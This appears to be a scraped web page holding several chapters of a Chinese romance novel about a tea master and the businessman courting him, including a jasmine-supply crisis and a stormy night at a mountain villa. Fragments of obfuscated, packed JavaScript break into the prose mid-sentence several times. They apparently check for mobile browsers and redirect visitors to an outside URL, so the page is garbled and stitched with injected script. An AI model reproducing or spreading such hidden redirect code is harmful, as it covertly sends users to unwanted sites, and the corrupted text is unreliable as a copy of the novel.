l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383302|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,顾不上推辞,说了句“辛苦了”,便屈身上车。 [楚韫:谢谢你。] 他想了想,衷心地补充: [今天对我而言是很有意义的一天,非常感谢您的高尔夫教学。] 彼时傅砚珩正坐在彭宗甯车上的副驾驶上。看着屏幕上的回复,他甚至能想象出楚韫打出这行字时眉眼舒展的弧度。 “……你今天有点奇怪。” 彭宗甯忽然开口,眼睛看着宽阔的路面。 傅砚珩闻言笑了笑,关掉手机,没肯定也没否定:“是吗?哪里奇怪了?” 其实具体的彭宗甯也说不清楚,只是觉得今天的傅砚珩似乎……格外爱管闲事? “说实在的,你今天教楚韫打高尔夫的时候,着实挺让我们意外的。” 傅砚珩心想:“你们的表情看起来不像是意外,更像是见了鬼了。” “你——” “我喜欢他。” 彭宗甯:“???” 这下他脸上的表情是真见了鬼了,方向盘都差点脱手。傅砚珩嫌弃道:“你这样,我会后悔没多买几份保险。” 不是大哥,现在是什么保险不保险的问题吗? 饶是彭宗甯这样淡定的人此刻也觉得玄幻,然后他就想起来徐菀真那个微妙的笑容,电光石火间,他突然醍醐灌顶、大彻大悟:“等会,江祈年是不是也喜欢楚韫啊?” 傅砚珩好整以暇地看着他,不置可否。 彭宗甯觉得这短短五分钟内自己受到的冲击过于巨大,安全起见,他暂时把车子停到了路边。 “所以,”彭宗甯有些艰难地说道:“你和江祈年算是……公平竞争?” “什么公平竞争,好像楚韫是个物品一样。我喜欢楚韫,我想追求楚韫,就这么简单,江祈年怎么样跟我无关。”傅砚珩松了松领带,呼出一口气。 这姿态是放松的、漫不经心的,但那口吻中的认真却丝毫没有减轻分量。不知怎的,彭宗甯忽然就想起了很多年前的一件事。 那时他们还在上高中,明明都是十几岁的青年,傅砚珩已经开始把眼光投向金融市场,频繁地参加各种国际金融会议。彭宗甯虽然和傅砚珩是同学,但也总是见不到他。 直到有一天,彭宗甯在去图书馆的路上见到了傅砚珩。 那是个下雨天,傅砚珩撑着一把伞蹲在路边,旁边是一只看起来很脏的流浪猫。少年手里拿着一根火腿肠,很有耐心地掰成小块再喂给它。直到流浪猫吃完最后一块火腿肠,傅砚珩抬起手摸了摸它的头。 彭宗甯觉得这样的傅砚珩很少见,后来他才知道,傅砚珩如果回了学校都会去看看那只流浪猫,给它带点吃的。 于是有一天彭宗甯问他:“你这么喜欢它,不考虑收养?” 傅砚珩脸上的笑很淡,他说:“它这么流浪也挺好的。” 那时彭宗甯还觉得傅砚珩很冷血,直到后来他才知道,傅砚珩家里一直把他当做一个完美的继承人培养,严令禁止他接触任何可能使他分心的东西,更别提一个毛茸茸、活生生的小动物。 彭宗甯这才真正明白傅砚珩话里的意思,与其收养那只小猫再把它抛弃,不如让它一直流浪,兴许还能早点遇到真正能带给它温暖的人。 彭宗甯总是觉得自己看不透傅砚珩,只在那个时刻,他惊觉自己隐约窥见了这个少年冷淡外表下一颗热烈而真诚的心。 他从不轻易做承诺,也从不草率而敷衍地对待任何一段感情。 当年的流浪猫如此,如今的楚韫亦是如此。 16. 信息 晨光熹微,山涧深处袅袅升起淡淡雾气,漫过茶垄新抽的芽尖。风掠过茶树梢头,雾霭随之流转,将整片茶园隐入一片朦胧的幻境。 楚韫指尖拈起几片暗绿色的茶叶,两指揉搓间,叶片沙沙作响却未见碎裂,叶脉在指腹下柔韧回弹。紧接着,他又将茶芽凑到鼻尖嗅了嗅,闻到了一股混着焦味的清冽气息。这才说:“颜色和叶片都没什么问题,但还是有不足。” 陆俨一副虚心求教的样子盯着他,就听楚韫接着道:“这批毛茶采摘量本来就少,而且还是立夏之后采摘的,嫩度差,此时就应该降低杀青温度,否则就会像你这次杀出来的一样,有股淡淡的焦糊味。” 陆俨挠了挠头,小声道:“其实我已经降低锅温了。” “我知道,”楚韫松开指尖,那几枚叶片落回了竹匾里:“但还不够。做茶有时候凭技巧,有时候看感觉,该仔细的时候步步都要谨小慎微,该大胆的时候就得放开手去做。” 陆俨受教般地点点头,有些担心:“那师父,这批茶是不是就废了?” 楚韫看他一眼,像是有些奇怪:“不然呢?” 随即他勾起嘴角,点了点头:“你要是想尝尝自己的劳动果实,我也不反对。” 陆俨“啊”了一声,有些欲哭无泪。 . 今年的新茶刚刚采摘完毕,楚韫要来茶园这边处理毛茶,等到花农那边的茉莉花送过来,就可以制作茉莉花茶了。 也许是想什么来什么,楚韫正在检查今年毛茶的质量,就接到了一个电话,是他合作多年的花农打来的。 对方在电话里欲言又止,语气充满了歉意,委婉地告诉楚韫,以后可能无法再为他供应茉莉花了。 楚韫的手指在叶片上轻轻摩挲,淡淡地问了一句为什么,对方给他的回答只是一片无力的沉默,许久之后,楚韫听见对面哑声说了句“对不起”。 楚韫的嘴角微微上扬,那是一个了然的、充满了讥诮的笑。 这么巧,距离GLGA开赛只剩一个多月,偏偏在这个时候说取消合作。对于一个制作茉莉花茶的人来说,原料的缺少简直就是灭顶之灾,是谁想要从中作梗,答案简直显而易见。 只是他有些没想到,余晋华竟然这么忌惮自己,他是对宋清峦多没有信心? 电话里,花农嗫嚅着说道:“有人想要搞你,你小心些。” 楚韫“嗯”了一声,非常冷淡地说了句“谢谢”,然后挂断了电话。 他能理解对方的进退两难,但也仅限如此。现在他更该考虑的是该如何应对余晋华带来的麻烦。 对于茉莉花茶的制作来说,茉莉花田距离茶厂的远近简直至关重要,因为每在运输途中耽误一分钟,花香的鲜灵就会消散一分,茉莉花茶的质量就会降低一个层次。楚韫之所以和这个花农合作多年,一是因为对方的茉莉花经过品种改良,香气上成;二是因为他的花田离楚韫的茶园只有三个小时的路程,正好能在花蕾开放前送过来。如今时间紧迫,别说重新找到一个如此称心如意的合作方,就是一般花田里的茉莉花也早早被人订走了。 楚韫垂眸沉思了一会,像是下定了某种决心,拨出一个境外电话。 “嗨,楚韫!怎么想起给我打电话啦?” 对面的声音热情洋溢,如果忽略背景里叽里呱啦的印度语和不时响起的牛叫声,其实还是有些亲切感的。 楚韫简单和他寒暄了一下就直奔主题:“你们基地里的茉莉花今年怎么样?” 朱利安左手拿着考察数据和标本瓶,右手举着相机拍下一朵半开未开的花苞,嘴里叼着圆珠笔,耸起肩膀夹着手机和楚韫通话,声音听起来有些含糊不清:“啊,说起这个我就高兴,今年田里的茉莉花不仅产量大丰收,而且变种培育十分成功,香气浓度和持久性都提高了不少!” 此时单纯的朱利安还没有意识到他即将面对什么,就听楚韫在电话里用英语说道:“四百斤。” 朱利安:“……啊?” “我说,我要四百斤新鲜茉莉花,能提供吗?价钱尽管提。” 朱利安一张嘴,圆珠笔掉到了地上,但此时他也顾不上了:“你这是要把我们田里的茉莉花薅秃啊。怎么了,你的供应商出问题了?” 楚韫“嗯”了一声,言简意赅道:“我们的合作终止了。” 朱利安说:“四百斤可以,什么时候要?” 楚韫看了一眼时间:“采摘过后二十四小时内空运到我这里,能做到吗?” 朱利安笑眯眯地趁火打劫:“没问题,就是人工费加上运费什么的,可能最后价钱会很高。” 楚韫笑了一声,懒得和他计较:“我不在乎那些,你只需要保证质量地按时把花送到我这里就行。” 朱利安看了一眼远方连绵的茉莉花田,叹了口气,故作伤感地说:“唉,还真有点舍不得我可爱的花花们。” “可爱的花花和下个季度额外的科研费用,你只能二选一。” 朱利安整个人一僵,认输般委屈巴巴地说:“好了好了,我去找人摘花了,不和你这种毫无情趣的人聊了。” 他话音刚落,想要腾出一只手挂断电话,就听手机里已经传来嘟嘟的挂断声。 朱利安:“……” . 挂断了电话的楚韫轻轻呼出一口气。当年他为了做出品质上乘的茉莉花茶,不但走遍了国内的四大茉莉花产区,而且还特意跑到了不丹和印度那边调研。 当时就是在印度的一片野外地头,他和朱利安就茉莉花的问题相谈甚欢,此后这么多年也一直都有联系。只不过当时对方还是一家花卉研究所的小小研究员,现在已经成了能拍板决断的人物了。 危机暂时解除,楚韫想了想,点开了微信好友栏的某个头像。 [楚韫:我的茶园,感觉你对它很感兴趣。] 他拍了一张照片过去,漫山遍野生长着茶树,绿意盎然的叶尖反射着阳光,像是镀了一层璀璨的金边。 . “合作愉快。” “很高兴与你合作,Fu。” 傅砚珩淡笑着与对方握了一下手,就听对方很热情地说道:“说起来,我之前一直听说亿恒集团这两年在人工智能领域发展迅猛,很想与你们合作一次,没想到今天我的愿望就实现了。” “哪里,Horizon集团的服务器制造技术在世界范围内都是顶尖的,相信两家的合作一定能互利共赢。” 那位H集团的老总眯起墨绿色的眼眸,爽朗一笑。 感受到手机的震动,傅砚珩抽空看了眼消息,一片生机勃勃的茶园映入眼帘。 戴尔森就站在傅砚珩旁边,并非有意偷看,只是不经意地扫到了屏幕上的图片,发出一声惊叹:“这是哪里?好美的景色!” 傅砚珩脸上的笑意深了几分,他一边回复楚韫一边回答戴尔森的问题:“是一座茶园。” “哦,说起来我妻子很爱喝中国的茉莉花茶。” 戴尔森谈起妻子,语气不由自主地柔和起来:“她喝过世界各地不同品种的茶,但还是最喜欢中国产的。这次来这边出差,我还打算给她带些回去。” 傅砚珩喜欢在情感一事上忠诚的人,戴尔森的话获得了他的好感,于是他建议道:“以后有时间的话,我可以为您引荐一位很出色的制茶师。” 戴尔森说:“那真是再好不过了,我很期待与那位制茶师会面的那一天。” 送走了戴尔森一行人后,傅砚珩回到自己的办公室,又点开那张照片放大。沐浴在阳光里的茶园确实很美,但其实也没美到反复观看的程度。只是在工作的间隙看到和楚韫相关的一切都会让他获得片刻的放松。 这是一种很奇妙的感觉,但楚韫就是有这样的魔力,仿佛只要靠近他,就能获得精神上的抚慰,等到回过神来的时候,才发现自己早已情难自禁。 傅砚珩无所谓地笑了笑,随即在微信里问道: [你茶园的位置在哪?] . 茉莉花茶的茶坯讲究平、抖、蹚、拜、烘五道工序,就是为了分出茶叶的长短粗细,再去除老叶、碎叶。 “当啷” 一声,筛底的接茶竹匾接住头茬细茶。楚韫拇指扣住筛沿,其余四指托住筛底,开始有节奏地晃筛。稍大的茶片在筛网震动中跳起,拇指粗的茶梗则被筛孔卡住,随着筛子的颠簸在网面边缘聚集。 技艺精湛的制茶师往往能够通过声音判断茶叶的不同,细碎的是茶末,清脆的是整叶,滞重的必是粗梗。楚韫听着茶叶落在匾面上的声响,垂下眼帘,有条不紊地把一批茶坯分到三个竹匾上。 在一旁观摩的陆俨适时递上一杯水,楚韫没说话,只是摇了摇头。陆俨也知道自己师父的特点——不做完手头上的工作根本不会停下来休息,哪怕是喝水也不行。 放在一旁的手机震动了一下,陆俨看了一眼,心想不知道是谁发来的信息,真不巧,可能今天都得不到回复了。 楚韫这一做就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383303|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做到了月上中天,期间连坐下一会都不曾,更别提吃饭喝水了。连陆俨一个搬凳子坐在旁边看着的人都又累又困,简直无法想象楚韫这样纤瘦的人是怎么坚持到现在的。 十多匾茶坯按粗细码放整齐,楚韫拍掉手上的茶末,简单活动了一下脖子和腰部,这才转头看向陆俨,嗓音有些干涩:“今天看出点什么了吗?” 陆俨原本的困倦顿时一扫而空,他仔细回想了一下,答道:“‘平’、‘抖’两步要格外注意手腕发力,用力过猛会让茶坯跳到外面,力气不足又不能分类完全。” 楚韫有些疲惫地阖了阖眼,简单说道:“嗯,不错。” 月白风清,远处的茶田在夜色中发出窸窸窣窣的声响,茶坯的清香被送到鼻尖,稍稍抚慰了一天的疲倦。 楚韫喝了口水,一边让陆俨回去休息,一边打开手机查看消息。 最先映入眼帘的就是那个法国小镇的头像,楚韫原本已经输入了几个字,结果抬眼看到手机上面的时间,犹豫了一下还是删掉。 太晚了,似乎会扰人清梦。 . “砚珩,这段时间还有什么重要的工作吗?” 方施廷在一旁插话:“应该没有了吧,亿恒上午不是刚和Horizon签完协议吗。” 傅砚珩没表态,只是说:“怎么?” 江祈年将杯子里的威士忌一饮而尽,说道:我梵檀山的那个别墅装好了,想着你们最近有空的话,不如一起去我那里度假,就咱们几个人。” 方施廷闻言二话不说就答应了,连彭宗甯也很动心。实在是江祈年的那个别墅位置好,青山绿水环绕,又背靠风水极佳的梵檀山。生意人都讲究风水,不管怎么说,去蹭蹭钟灵毓秀之地的灵气也是好的。 傅砚珩没一口答应,他向来不太信那些。比起神佛,他更相信他自己。 毕竟在他人生中最困惶无助的时候,佛祖和神仙并没有庇佑他。 “看情况吧。” 江祈年无奈地耸耸肩,就听有人揶揄着问道:“听说最近江少被一个大美人迷得神魂颠倒,也不知道追人追得怎么样了?” 他们今天这场局有些圈外人,上次打高尔夫之后,不知怎的江祈年追求楚韫的事传了出去,自然有八卦好信的人来问。 江祈年拧起眉,心想哪壶不开提哪壶,不耐烦地说:“滚滚滚。” 方施廷看他这反应就想笑:“看来前路漫漫啊,要不要我给你支支招,毕竟咱也是身经百战。” 彭宗甯下意识看了眼傅砚珩,对方今晚喝的是降度的白兰地,若不是此刻抓着杯子的手微微用力,脸上的云淡风轻简直能骗过所有人。 “我之前想着在微信上多和他聊聊天拉进一下关系,结果好像适得其反,人家现在都不怎么搭理我了。” 江祈年颇为苦恼:“我下午给他发了条信息,结果现在还没收到回复。” 傅砚珩听到这句话,心里顿时泛起一点微妙。他拿出手机看了眼消息,结果空空如也。 还是操之过急了吗? 那边方施廷已经开始给江祈年出主意了:“我说,你这就太刻意了,傻子都能看出来你要干什么。” 方施廷清了清嗓子,老神在在地说:“追人和谈生意其实差不多,都讲究一个张弛有度。你老找人家聊这聊那,人家会觉得你步步紧逼,久而久之当然会讨厌你。” “那怎么办?”江祈年焦虑地问。 “从现在开始不要再在微信上给他发信息了,你现在要做的是制造偶遇,但又不能让人家发觉出来,这样他就不会对你有太大防备,你再一点点接近,让对方发现你的优点,再慢慢产生好感,久而久之自然就把人追到了。” 傅砚珩眼皮一跳,听不下去了,冷冷道:“这么喜欢当爱情导师怎么不出去办班?” 两人顿时噤声。 知道内情的彭宗甯快憋出内伤了,心想这可是撞人家枪口上了。 方施廷纳闷地看了一眼不远处喧闹的人群,男男女女纵情欢笑,酒杯碰撞声、笑语交谈声不绝如缕,绝对称不上清净。 两人都挺莫名其妙的,就见傅砚珩突然起身,淡淡扔下一句“走了”,拿起西装外套便扬长而去。 “他今晚火气怎么这么大?我们哪里惹到他了吗?”江祈年不解。 彭宗甯咳了两声,出来打圆场:“可能是累了,没看他酒都没喝几口。” 两人看向桌上那杯剩了大半的白兰地,恍然大悟地点点头。 17. 桥牌 “我说某人真是反复无常啊,前两天还对我的山间别墅兴致缺缺,怎么最后还是跟着来了?” 巨大的SUV行驶在山路上,江祈年戴着墨镜开车,懒洋洋道。 副驾上的傅砚珩瞥他一眼,平静地说:“如果我没记错的话,我当时说的是‘考虑一下’,你哪只耳朵听出我对你的别墅不感兴趣?” 江祈年不满地小声嘀咕:“你是没看到自己当时的臭脸,黑得跟锅底似的。” 傅砚珩没答话,目光落在手机上—— 那晚结束后,第二天一早,楚韫就把茶园的位置告诉了他,而且还解释了没有及时回复的原因。当时他看到那个地址就在想,有没有千万分之一的概率,能和对方顺理成章地偶遇。 后面的方施廷双手交叠在脑后,一副很惬意的样子:“不过话说回来,这一路上可是没少经过茶田,风景真不错——” 发动机突然发出一阵不正常的嗡鸣声,仪表盘上的故障灯迅速亮起,连成一片。 江祈年“艹”了一声,稳住方向盘,SUV顺着惯性往前蹭了几米,终于歪歪扭扭地停在路肩。 傅砚珩抬眼看去,后面的方施廷和彭宗甯也凑了过来,江祈年喃喃道:“这什么运气……” 江祈年真没想到他们能点背到这种程度,平时好好的车子怎么今天突然半道上哑火了。他只能拿出手机,给山下的维修队打电话:“……对,麻烦你们快点上来,发动机突然熄火了。” 另一边,傅砚珩已经打开了汽车前盖,手指探进去摸索着,对江祈年说:“让他们拿一条新的橡胶带,是转动带老化脱落了。” 江祈年应了一声,立刻吩咐电话里的人。电话挂断后,他就看见傅砚珩从工具箱里挑出一把扳手,拧开涨紧轮的螺栓,然后从滑轮上拆下老化的转动带。 “不是,这你都会?” 傅砚珩把扳手收进箱子里,说道:“在国外的时候有一次也是遇上这种情况,后来看他们修车就学会了。” 方施廷双手抱臂靠在车边,仰头看了眼天空,不知何时明媚的阳光已经被厚厚的云层遮住了。 “唉你们看,那边还有栋别墅——” 方施廷若有所思:“也不知道这别墅的主人是何方神圣,我看山上的那片茶园多半也是他的。” “可不是吗,”江祈年说:“这里离梵檀山已经很近了,这么大手笔可不是一般人——咦,他们家在干什么?” 方施廷顺着他的目光看到了后院缓缓升起的白烟,随口说道:“烧烤吧。” “谁家烧烤这么多烟。” 就在这时,傅砚珩抬头看了眼天色,突然开口:“好像要下雨了。” 就在他们聊天的这段时间里,头上已经乌云密布,看起来不再像是简单的阴天或多云。 彭宗甯有些担忧:“之前看的天气预报还说今天是晴天。” 傅砚珩脸上的表情变得凝重起来:“山上本来就天气多变,刚才的积云已经向积雨云转化了,这里很快就会下雷暴雨。” 江祈年暗骂了一声,心想今天出门没看黄历,又是车坏又是下雨。 “现在的问题是,如果一会真的下起暴雨,山路泥泞,维修队根本无法上山,我们无处可去,还不排除坐在车里被雷劈的可能。” 傅砚珩叹道:“所以我的建议是,我们先和这家别墅的主人商量一下,看看能不能在他家避一下雨,等天晴了再离开。” 话虽这么说,但他心里清楚,按照目前的发展态势,这场雨多半要下好长时间。 . 楚韫正在院子里点炭生火,对焙笼里的茶坯进行干燥烘焙,就见陆俨急匆匆地走过来:“师父,外面有几个人,说是车子在路上抛锚了,看这个天气估计一会要下雨,想在咱们这里暂避一下。” 楚韫头也不抬地说:“直接拒绝。” 陆俨犹豫了一下,支支吾吾地说:“要不您出去看看吧,我瞧说话那个人有点眼熟,好像之前来过咱们茶楼。” 楚韫扇扇子的动作略有停顿,随即淡淡地说:“长什么样子?” 陆俨想了一下,斟酌着用词:“身高将近一米九吧,就,长得超级帅,五官挺锐利的,看起来很有压迫性。” 楚韫说:“我知道了,让他们等着。” 陆俨:“……啊?” “现在这里离不开人,一会我去看看。” . “那小子怎么进去问了这么久?” 方施廷蹲在门口,已经完全没了大少爷的气势,看起来怏怏的。 傅砚珩一手插进口袋里,微微皱眉。他总觉得刚才和他说话的那个年轻人有点眼熟,但一时间想不起来在哪里见过。 江祈年叹气道:“估计就是拒绝了吧——” 别墅的大门突然被人打开,一道熟悉的声音响起:“你们的车怎么了?” “……楚韫?!” 江祈年和方施廷异口同声道,脸上震惊的表情像是看到了世界第九大奇迹。 傅砚珩倒是很镇定,微微颔首:“好巧。” 他看了一眼那辆前车盖被掀起的SUV,解释道:“可能一时半会好不了,发动机出问题了,我们在等维修队上山。” 楚韫看了眼天色,说道:“别墅的车库里有位置,你们先把车推进去吧,这里应该很快就要下大暴雨了,你们先进来。” 江祈年明显还没从这桩天降好事中清醒过来,喃喃自语:“塞翁失马,焉知非福。” 方施廷毫不客气地给他一肘击:“行了,小心乐极生悲,快来推车。” . 另一边,楚韫预感这次的暴风雨会给茶园带来巨大破坏,正在给平时负责照管茶园的农户打电话,让他们紧急采取保护措施。 他撂下电话,那辆威风凛凛的SUV已经被推进了车库里,便说:“跟我过来吧。” 楚韫一边在前面领路,一边给他们打预防针:“我估计这场雨会下很长时间,很可能今天维修队都无法上山,那样的话你们就只能在这将就一晚了。” 江祈年立刻表态,眨着眼说他们感谢收留还来不及。 踏入别墅内部,所有人才真正见识到了别墅主人的实力。 别的暂且不说,据彭宗甯观察,光是客厅的那套黄花梨缠枝海棠纹沙发就得值将近七位数,更别提墙上挂着的那幅碧落清风图,出自某位国画泰斗之手,而且应该是真迹。 路过厨房时,一个年轻人正在菜板上“哒哒哒”地切菜。他们眼睁睁看着一根平平无奇的黄瓜在他手中灵巧翻转,薄如蝉翼的圆片簌簌落下,年轻人手指轻轻一拨,原本普通的黄瓜就变成了一朵绽放的花。 “……这位小兄弟还真是厉害啊。” 楚韫说:“这是我徒弟,陆俨。” 江祈年和方施廷面面相觑,后者吞咽了一下,艰难地问:“……现在对制茶师徒弟的要求都这么高吗?” “不是。”楚韫无奈看他一眼,好像在说你脑子里想的是什么,“只是小俨恰巧会做饭。” 几人心里不约而同地想:这刀工,岂止是会做饭啊。 楚韫带着他们上了楼,指着面前几扇门说:“我这里只有三间客房,有两个人需要住在一起。” 傅砚珩是不可能和别人住在一个屋子里的,他们都知道这人有洁癖。向来最先表态的江祈年也没吱声。在场唯一知晓内情的彭宗甯心累地说:“我和施廷住一起吧。” 方施廷惊悚的目光在江祈年和彭宗甯身上来回逡巡,眼神里的意思好像是他们两个怎么都这么不正常。 楚韫没管他们之间的眉来眼去,接着说道:“每间客房都有一次性的洗漱用品,剩下的你们自便。” 他努力地想了想:“客厅有一副桥牌,如果无聊的话可以玩。” 傅砚珩看出楚韫实在是很用心在照顾他们这群人的感受,出声问道:“那你呢?” 楚韫愣了一下才说:“我要去书房看书。” ——追人嘛,不能步步紧逼,要进退得当若即若离。 江祈年一个“来”字已经脱口而出,然后就想起方施廷教他的恋爱秘笈,于是生生把想说的话咽了回去。 “如果不着急的话,来和我们一起?正好我想和你聊聊GLGA的事情。” 江祈年再一次觉得傅砚珩简直就是他的神助攻。 楚韫听他说要聊关于比赛的事,没有任何犹豫就答应了。他们五个人围坐在客厅的紫檀木茶几边,楚韫因为不怎么玩桥牌,和傅砚珩共看一副牌。 十三张纸牌在傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随着牌局推进,傅砚珩始终保持着漫不经心的姿态,却在方块套上故意示弱。江祈年看着傅砚珩连续三次放弃吃进的机会,明白了他的意图,突然将红桃8拍在桌面,故意露出懊恼的表情。 “不过下次再遇到这样的事情可以和我说,也许我帮得上忙,你也能少些负担。” 傅砚珩微微偏头,就见楚韫的耳朵不知何时已经染上一层薄薄的粉色。 感受到他的视线,楚韫的目光仍旧停留在他手里的牌上,语气生硬而不自然:“知道了,看牌。” 怎么这么可爱。 傅砚珩强忍着才没笑出来,此时牌局进入白热化阶段,彭宗甯和方施廷已经感觉出不对劲,正在计分纸上写写算算。 “没必要吧——”江祈年拖长了声音,懒洋洋地说。 他推出一张方块J,看似随意的出牌,却彻底打乱了对手的节奏。 楚韫在脑海里复盘之前二人的互动,忍不住低声赞道:“好局。” 这张牌的出现看似突兀,实则是精心设计的一环。傅砚珩之前在方块套上的示弱,使得对手误以为己方在该花色上缺乏控制。此时江祈年打出方块 J,利用对手的轻敌心理,突然截断对方在方块套上的联通。 傅砚珩虽然牌面不佳,但通过巧妙的示弱和诱导,成功调动了对手的出牌节奏。江祈年的方块J则精准地补位,填补了他刻意留出的战术缺口,二者一诱一攻,彻底打乱对手的防御布局,让东西方在措手不及间陷入被动,将逆风局势彻底扭转。 楚韫下意识看向傅砚珩,只是一个侧脸,都能看出男人的从容自若。 最后一张牌拍在桌面,方施廷把手里未出的牌往桌上一扔,泄气地向后一靠:“你们赢了。” 彭宗甯也叹气:“这局是我们技不如人。” 傅砚珩勾起嘴角,刚想说什么,就听窗外惊雷骤起,紧接着滂沱大雨带着可怖的力量,密集地敲打在窗户上。 “……” 楚韫立刻起身去拉好窗帘,隔绝了屋外的电闪雷鸣。 江祈年拍着胸口道:“多亏了楚韫,要不我们几个现在可能已经生死未卜了。” “可不嘛——诶,好香!” 几人刚刚专注于牌局,此刻注意力分散,立刻就闻到了厨房那边飘来的香气。陆俨端着最后一道清蒸鳜鱼走出来,一抬头就看见客厅里几双眼睛不约而同盯着他手里葱丝青翠、鱼皮透亮的清蒸鳜鱼,目光炽热专注让他莫名有种羊入虎口的感觉。 他有些不好意思地说:“……那个,可以准备吃饭了。” 18. 雨夜 “小俨,要不你来我家做饭吧,工资随便提,正好我家原来的阿姨不干了。” 餐桌上,方施廷咬着一块红烧排骨,含糊不清地说。 “哈哈,方先生要是喜欢,以后有机会我再给您做。” 陆俨尴尬地笑了笑,目光却转向专心吃饭的楚韫身上,里面没有对金钱和物质的热爱,只有对师父的忠心耿耿和献身于茶叶制作的决心。 楚韫正专心致志地对付碗里的竹荪鸡汤,压根没有接收到好徒弟传达的信号。他不吃鸡皮,因此会很耐心地把鸡肉挑出来剥皮再吃。 江祈年用纸巾擦了擦手指,突然想起了什么:“对了,刚才我们看见你家后院的白烟,是在干什么吗?” 陆俨拿来炖汤的鸡是从山下农户那买的,皮质紧实,楚韫好不容易才用筷子把它扒下来,闻言淡淡地回答:“我在烘茶坯。” 江祈年眼睛一亮,好奇地说:“那等天晴了我可以去看看吗?” 像是怕楚韫顾虑,他又补充道:“我只是单纯好奇,想看看茶叶制作的过程是什么样的。” 楚韫看他表情,知道对方是把茶叶烘焙当成一件新奇未知的事。于是他顿了顿才说:“茶叶烘焙没有你想象的那么好玩,不仅要全神贯注盯着火候,而且还要忍受炭烟和高温,你待一会就受不了了。” “没事的,这些都不是问题。我最近对茶叶制作很感兴趣。” 江祈年依旧坚持,楚韫也就随他去了。毕竟这样的人他见多了——口口声声的喜欢,不过是三分钟热度,很快就会如浪潮般退去。 终于有机会吃掉刚才的那块鸡肉,身旁的傅砚珩突然站起身说:“抱歉,我有些紧急的工作要处理,先离开一步,大家慢慢吃。” 楚韫敏锐地觉察出一丝不对劲,虽然傅砚珩表现得和往常没有任何区别,连上楼时的背影都是一样的沉稳,但如果他没记错的话,从刚才上桌开始,傅砚珩好像就一直在安静地吃饭,期间一句话都没说过。 其实这很正常,毕竟傅砚珩并不像江祈年他们那样是多话的人,看似突然的离席也有一个恰当的理由。 是我想多了? 他看了一眼对方干干净净的汤碗,还有哪怕已经用过却依旧叠得整整齐齐的餐巾纸,觉得有些好笑,又生出一丝茫然。 “怎么了楚韫?” “……嗯?” 江祈年看着对方朦胧的、像是笼罩着一层薄雾的眼睛,心中有些痒,关切地问道:“怎么了?身体不舒服吗?” “没事,”楚韫回过神来,“刚才在想别的事。” . 这场暴雨持续了很久,依旧没有停的迹象。 剩下的三个人很有客人的自觉,吃完饭后主动要去帮陆俨刷碗,陆俨心想这群公子哥富二代怕是连水槽的边都没碰过,不把他的碗摔碎就不错了,几经劝说终于把他们请出了厨房。 楚韫吃完饭就回房间了,让他们自便,三个大男人在客厅面面相觑几秒钟,果断也各回各屋休息。 . 主卧的浴室门被人打开,楚韫从朦胧的水汽中走出来。镜子上起了一层薄薄的雾,变得模糊不清,但依旧能看出年轻人劲瘦的腰身,再往上看,是雪白皮肤上的一段红绳,上面坠着一块温润的和田玉扣。 他一只手拿毛巾擦着头发,一只手点开微信里秦澜月给他发来的语音条,洗手间里立刻响起对方絮絮叨叨的声音。 “跟你汇报一下最近茶楼的情况,首当其冲可喜可贺的是,这个月的营业额再创新高,这里面当然有我这个卧龙凤雏的功劳。” “你还记得好久之前你做心肺复苏的那个女士吗,她前两天来店里了,说是彻底康复了,想要亲口向你表达感谢。结果一听见你不在,啧啧,就差把‘失望’两个字写脸上了,你说——” 楚韫毫不犹豫地掐断了这条没用的废话,随即点开下一条。 “人家还带着一大束紫罗兰来的呢,相信我的直觉,她肯定是——” 这么无聊的事没完没了了。 楚韫耐心告罄,冷冷地发过一句语音:“要是没有什么重要的事,可以不用说了。” 对面偃旗息鼓了几分钟才重新振作起来。 “好吧好吧,真是被你这种不解风情的人打败了。” “最重要的事不得压轴出场嘛,瞧你这人,真是一点耐心都没有。昨天省博的业务部门来‘先春’进行前期调研,对面负责人的意思是省博最近在筹划茶文化主题展,目前有意向和我们进行合作,如果考察符合预期的话,可能需要我们协助他们录点视频什么的。” 楚韫低垂着眉眼,按下几个字: [知道了。] 对面没再发语音过来,楚韫面色平静地关掉手机,走出洗手间。他换了一套柔软舒适的棉质睡衣,窝在卧室里的躺椅上看了会书,指尖刚要翻过下一页时,就听窗外雷声轰然响起,像是带着能够撕毁一切的力量。 他下意识眉头微皱,一些不好的回忆被这场雷雨裹挟着再度浮现在脑海,于是他果断放下了手中的书,选择早早上床睡觉。 但他显然低估了回忆的能力,只要他闭上眼,脑海里尘封的画面就会像逐渐显影的胶片一样,一帧帧、一格格地鲜明起来。 …… 天地被调成一片浓重的灰暗,带着潮气的风穿过墓碑,发出低低的呜咽声。有人把手搭在他的肩上,语气惋惜,但他在说什么,楚韫听不清。许多人来了又走,最终与他作伴的只有面前那块崭新的白色大理石碑。 恍惚间,他似乎闻到了潮湿的土腥味,夹杂着呛人的香火气息。远处的云层间响起沉闷的雷声,一滴液体落在墓碑上,洇湿了上面逝者的名字,随后瓢泼大雨兜头而下,荡涤着世间所有不安的灵魂。 而他始终沉默地站在那块墓碑前,任凭雨水模糊视线,淋透他的全身。 ——看来短时间是睡不着了。 楚韫略显烦躁地坐起身,看了眼手机上的时间,原来不知不觉间已经深夜了。嗓子莫名干涩,索性下楼去倒杯水喝。 但当他轻手轻脚地下楼走到厨房的时候,却发现已经有人站在那里。 那人高大的身躯笼罩在黑暗里,背对着他,背影似乎要与无边的黑暗融为一体。其实这本应是一副有些吓人的场面,毕竟谁也不能想象到在大半夜的厨房里碰到另一个人,但楚韫惊讶过后便平静了下来,轻声开口:“傅砚珩?” 